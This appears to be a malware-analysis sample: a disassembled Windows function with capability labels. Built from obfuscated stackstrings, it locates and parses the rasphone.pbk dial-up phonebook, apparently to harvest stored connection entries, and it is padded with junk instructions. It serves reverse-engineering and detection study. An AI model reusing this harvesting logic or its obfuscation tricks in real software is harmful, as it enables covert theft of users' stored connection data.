Function at 0x406c9d
Capabilities:
Check os version
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, 0x4013b0
push 0x4014ec
mov dword [ebp - 4], ecx
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [ebp - 0xf4], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 0x1c], 0
lea eax, [ebp - 0x30]
push eax
push esi
mov byte [ebp - 0x30], 0x47
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x57
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x6e
mov byte [ebp - 0x2a], 0x64
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x73
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x69
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x6f
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x79
mov byte [ebp - 0x1d], 0x41
call edi
push eax
call ebx
lea ecx, [ebp - 0x298]
push 0x105
push ecx
call eax
mov byte [ebp - 0xe0], 0x5c
mov byte [ebp - 0xdf], 0x41
mov byte [ebp - 0xde], 0x70
mov byte [ebp - 0xdd], 0x70
mov byte [ebp - 0xdc], 0x6c
mov byte [ebp - 0xdb], 0x69
mov byte [ebp - 0xda], 0x63
mov byte [ebp - 0xd9], 0x61
mov byte [ebp - 0xd8], 0x74
mov byte [ebp - 0xd7], 0x69
mov byte [ebp - 0xd6], 0x6f
mov byte [ebp - 0xd5], 0x6e
mov byte [ebp - 0xd4], 0x20
mov byte [ebp - 0xd3], 0x44
mov byte [ebp - 0xd2], 0x61
mov byte [ebp - 0xd1], 0x74
mov byte [ebp - 0xd0], 0x61
mov byte [ebp - 0xcf], 0x5c
mov byte [ebp - 0xce], 0x4d
mov byte [ebp - 0xcd], 0x69
mov byte [ebp - 0xcc], 0x63
mov byte [ebp - 0xcb], 0x72
mov byte [ebp - 0xca], 0x6f
mov byte [ebp - 0xc9], 0x73
mov byte [ebp - 0xc8], 0x6f
mov byte [ebp - 0xc7], 0x66
mov byte [ebp - 0xc6], 0x74
mov byte [ebp - 0xc5], 0x5c
mov byte [ebp - 0xc4], 0x4e
mov byte [ebp - 0xc3], 0x65
mov byte [ebp - 0xc2], 0x74
mov byte [ebp - 0xc1], 0x77
mov byte [ebp - 0xc0], 0x6f
mov byte [ebp - 0xbf], 0x72
mov byte [ebp - 0xbe], 0x6b
mov byte [ebp - 0xbd], 0x5c
and byte [ebp - 0xa0], 0
mov byte [ebp - 0xbc], 0x43
mov byte [ebp - 0xbb], 0x6f
mov byte [ebp - 0xba], 0x6e
mov byte [ebp - 0xb9], 0x6e
mov byte [ebp - 0xb8], 0x65
mov byte [ebp - 0xb7], 0x63
mov byte [ebp - 0xb6], 0x74
mov byte [ebp - 0xb5], 0x69
mov byte [ebp - 0xb4], 0x6f
mov byte [ebp - 0xb3], 0x6e
mov byte [ebp - 0xb2], 0x73
mov byte [ebp - 0xb1], 0x5c
mov byte [ebp - 0xb0], 0x70
mov byte [ebp - 0xaf], 0x62
mov byte [ebp - 0xae], 0x6b
mov byte [ebp - 0xad], 0x5c
mov byte [ebp - 0xac], 0x72
mov byte [ebp - 0xab], 0x61
mov byte [ebp - 0xaa], 0x73
mov byte [ebp - 0xa9], 0x70
mov byte [ebp - 0xa8], 0x68
mov byte [ebp - 0xa7], 0x6f
mov byte [ebp - 0xa6], 0x6e
mov byte [ebp - 0xa5], 0x65
mov byte [ebp - 0xa4], 0x2e
mov byte [ebp - 0xa3], 0x70
mov byte [ebp - 0xa2], 0x62
mov byte [ebp - 0xa1], 0x6b
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 0x52], 0
mov byte [ebp - 0x80], 0x4d
mov byte [ebp - 0x7f], 0x69
mov byte [ebp - 0x7e], 0x63
mov byte [ebp - 0x7d], 0x72
mov byte [ebp - 0x7c], 0x6f
mov byte [ebp - 0x7b], 0x73
mov byte [ebp - 0x7a], 0x6f
mov byte [ebp - 0x79], 0x66
mov byte [ebp - 0x78], 0x74
mov byte [ebp - 0x77], 0x5c
mov byte [ebp - 0x76], 0x4e
mov byte [ebp - 0x75], 0x65
mov byte [ebp - 0x74], 0x74
mov byte [ebp - 0x73], 0x77
mov byte [ebp - 0x72], 0x6f
mov byte [ebp - 0x71], 0x72
mov byte [ebp - 0x70], 0x6b
mov byte [ebp - 0x6f], 0x5c
mov byte [ebp - 0x6e], 0x43
mov byte [ebp - 0x6d], 0x6f
mov byte [ebp - 0x6c], 0x6e
mov byte [ebp - 0x6b], 0x6e
mov byte [ebp - 0x6a], 0x65
mov byte [ebp - 0x69], 0x63
mov byte [ebp - 0x68], 0x74
mov byte [ebp - 0x67], 0x69
mov byte [ebp - 0x66], 0x6f
mov byte [ebp - 0x65], 0x6e
mov byte [ebp - 0x64], 0x73
mov byte [ebp - 0x63], 0x5c
mov byte [ebp - 0x62], 0x70
mov byte [ebp - 0x61], 0x62
mov byte [ebp - 0x60], 0x6b
mov byte [ebp - 0x5f], 0x5c
mov byte [ebp - 0x5e], 0x72
mov byte [ebp - 0x5d], 0x61
mov byte [ebp - 0x5c], 0x73
mov byte [ebp - 0x5b], 0x70
mov byte [ebp - 0x5a], 0x68
mov byte [ebp - 0x59], 0x6f
mov byte [ebp - 0x58], 0x6e
mov byte [ebp - 0x57], 0x65
mov byte [ebp - 0x56], 0x2e
mov byte [ebp - 0x55], 0x70
mov byte [ebp - 0x54], 0x62
mov byte [ebp - 0x53], 0x6b
mov byte [ebp - 0x48], 0x44
mov byte [ebp - 0x47], 0x6f
mov byte [ebp - 0x46], 0x63
mov byte [ebp - 0x45], 0x75
and byte [ebp - 0x31], 0
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x298]
push 0x5c
push eax
mov byte [ebp - 0x44], 0x6d
mov byte [ebp - 0x43], 0x65
mov byte [ebp - 0x42], 0x6e
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x73
mov byte [ebp - 0x3f], 0x20
mov byte [ebp - 0x3e], 0x61
mov byte [ebp - 0x3d], 0x6e
mov byte [ebp - 0x3c], 0x64
mov byte [ebp - 0x3b], 0x20
mov byte [ebp - 0x3a], 0x53
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x38], 0x74
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x69
mov byte [ebp - 0x35], 0x6e
mov byte [ebp - 0x34], 0x67
mov byte [ebp - 0x33], 0x73
mov byte [ebp - 0x32], 0x5c
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
pop ecx
push dword [eax + 0x14]
lea eax, [ebp - 0x298]
push eax
call esi
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x298]
push eax
call esi
push 0
lea eax, [ebp - 0x3a0]
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
and byte [ebp - 7], 0
lea eax, [ebp - 0x10]
push eax
push 0x4014e0
mov byte [ebp - 0x10], 0x77
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x66
mov byte [ebp - 8], 0x41
call edi
push eax
call ebx
lea ecx, [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x3a0]
push ecx
lea ecx, [ebp - 0x3a0]
push 0x4014d8
push ecx
call eax
add esp, 0x10
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 0x298]
mov dword [ebp - 0x190], 0x94
mov dword [ebp - 0xfc], eax
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, 1
mov eax, 0xffffffff
nop
nop
push 2
pop esi
cmp dword [ebp - 0x180], esi
jne 0x407140
cmp dword [ebp - 0x18c], 5
jb 0x407140
mov ecx, dword [ebp - 4]
call fcn.00406aba
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0xe8], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 0xfc]
mov dword [ebp - 0xf0], esi
mov dword [ebp - 0x4c], eax
mov esi, pe_nt_image_headers32
push 0x1000
push 0
push dword [ebp - 0xe8]
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0x4c]
add esp, 0xc
push dword [eax]
push 0x1000
push dword [ebp - 0xe8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov eax, dword [ebp - 0xe8]
cmp byte [eax], 0
mov dword [ebp - 0x18], eax
je 0x407481
mov eax, 1
mov eax, 0xffffffff
nop
nop
push dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
call fcn.004076b1
mov dword [ebp - 0xec], eax
push esi
lea eax, [ebp - 0x4a0]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x6a0]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x7a0]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x5a0]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x8a0]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x3c
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 0x84], 0
lea eax, [ebp - 0x9c]
push eax
push 0x4013b0
mov byte [ebp - 0x9c], 0x47
mov byte [ebp - 0x9b], 0x65
mov byte [ebp - 0x9a], 0x74
mov byte [ebp - 0x99], 0x50
mov byte [ebp - 0x98], 0x72
mov byte [ebp - 0x97], 0x69
mov byte [ebp - 0x96], 0x76
mov byte [ebp - 0x95], 0x61
mov byte [ebp - 0x94], 0x74
mov byte [ebp - 0x93], 0x65
mov byte [ebp - 0x92], 0x50
mov byte [ebp - 0x91], 0x72
mov byte [ebp - 0x90], 0x6f
mov byte [ebp - 0x8f], 0x66
mov byte [ebp - 0x8e], 0x69
mov byte [ebp - 0x8d], 0x6c
mov byte [ebp - 0x8c], 0x65
mov byte [ebp - 0x8b], 0x53
mov byte [ebp - 0x8a], 0x74
mov byte [ebp - 0x89], 0x72
mov byte [ebp - 0x88], 0x69
mov byte [ebp - 0x87], 0x6e
mov byte [ebp - 0x86], 0x67
mov byte [ebp - 0x85], 0x41
call edi
push eax
call ebx
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
push dword [ecx]
lea ecx, [ebp - 0x4a0]
push esi
push ecx
push 0
push 0x401540
push dword [ebp - 0x18]
call eax
mov ecx, eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
xor eax, eax
cmp ecx, eax
jle 0x4073c3
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xe4], eax
cmp dword [ecx + 0x10], eax
jle 0x4073c3
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
add eax, dword [ecx + 0x1c]
push eax
lea eax, [ebp - 0x4a0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x407366
inc dword [ebp - 0xe4]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xe4]
add dword [ebp - 0x14], 0x301
cmp ecx, dword [eax + 0x10]
jl 0x40732e
jmp 0x4073c3
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 4]
imul eax, eax, 0x301
mov ecx, dword [ecx + 0x1c]
mov dword [ebp - 0x14], eax
lea eax, [eax + ecx + 0x200]
push eax
lea eax, [ebp - 0x6a0]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov eax, dword [eax + 0x1c]
lea eax, [ecx + eax + 0x100]
push eax
lea eax, [ebp - 0x7a0]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
add esp, 0x10
mov ecx, dword [eax + 0x1c]
mov byte [edx + ecx + 0x300], 1
inc dword [eax + 8]
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov eax, dword [ebp - 0x4c]
push dword [eax]
lea eax, [ebp - 0x5a0]
push esi
push eax
push 0
push 0x401538
push dword [ebp - 0x18]
call dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
push dword [eax]
lea eax, [ebp - 0x8a0]
push esi
push eax
push 0
push 0x401530
push dword [ebp - 0x18]
call dword [ebp - 0x50]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x8a0]
push eax
call fcn.004076b1
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x6a0]
push eax
call fcn.004076b1
push dword [ebp - 0x50]
lea ecx, [ebp - 0x5a0]
mov dword [ebp - 0x14], eax
push ecx
lea ecx, [ebp - 0x7a0]
push ecx
mov ecx, dword [ebp - 4]
push eax
lea eax, [ebp - 0x4a0]
push dword [ebp - 0xec]
push eax
call fcn.004074a4
push dword [ebp - 0xec]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x14]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x50]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push dword [ebp - 0x18]
call dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax + 1]
jmp 0x4071a2
add dword [ebp - 0x4c], 4
dec dword [ebp - 0xf0]
jne 0x407171
push dword [ebp - 0xe8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
mov al, 1
pop ebx
leave
ret